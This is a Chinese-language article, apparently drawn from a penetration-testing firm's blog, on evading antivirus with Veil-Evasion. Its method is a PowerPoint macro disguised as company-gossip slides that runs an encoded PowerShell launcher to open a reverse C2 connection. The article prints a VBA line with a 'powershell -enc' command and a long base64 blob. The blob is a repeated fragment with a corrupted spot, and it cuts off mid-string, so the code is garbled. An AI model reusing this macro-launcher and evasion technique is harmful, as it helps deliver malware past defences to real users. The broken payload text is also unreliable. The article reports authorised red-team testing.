本文详细介绍了如何通过Veil-Evasion工具生成混淆脚本，利用PowerPoint宏和自定义动作建立C2连接，成功绕过Gmail、Windows Defender、McAfee和Symantec等主流安全产品的检测。
点击启用内容 - 绕过杀毒软件检测的技术解析
在BHIS，规避杀毒软件扫描器已成为一项常见的挑战。当我们为客户进行C2（命令与控制）测试时，通常从内网主机建立反向连接到我们的C2服务器，然后传输各种数据以测试防御系统的检测能力。成功率很高，主要原因是恶意流量识别非常困难——攻击者可以通过混淆流量避免安全设备检测。
初始连接建立
有时简单的PowerShell脚本连接Metasploit监听器即可，但某些情况下需要更复杂的方法。在一次测试中，我们使用了伪装成公司八卦幻灯片的恶意PowerPoint演示文稿，其中嵌入了Visual Basic命令，调用PowerShell脚本连接C2服务器。
使用Veil-Evasion生成载荷
首先在C2服务器设置监听器（例如使用443端口的反向TCP连接）。然后使用Veil-Evasion工具生成载荷，只需指定连接地址、端口和载荷类型：
1
2
|
' Veil-Evasion生成的混淆脚本（示例）
Dim x: x = "powershell -enc JABzAD0AJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBfACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9ACcALQBmACgAJwB7ADAAfQA6AHsAMQB9AC
|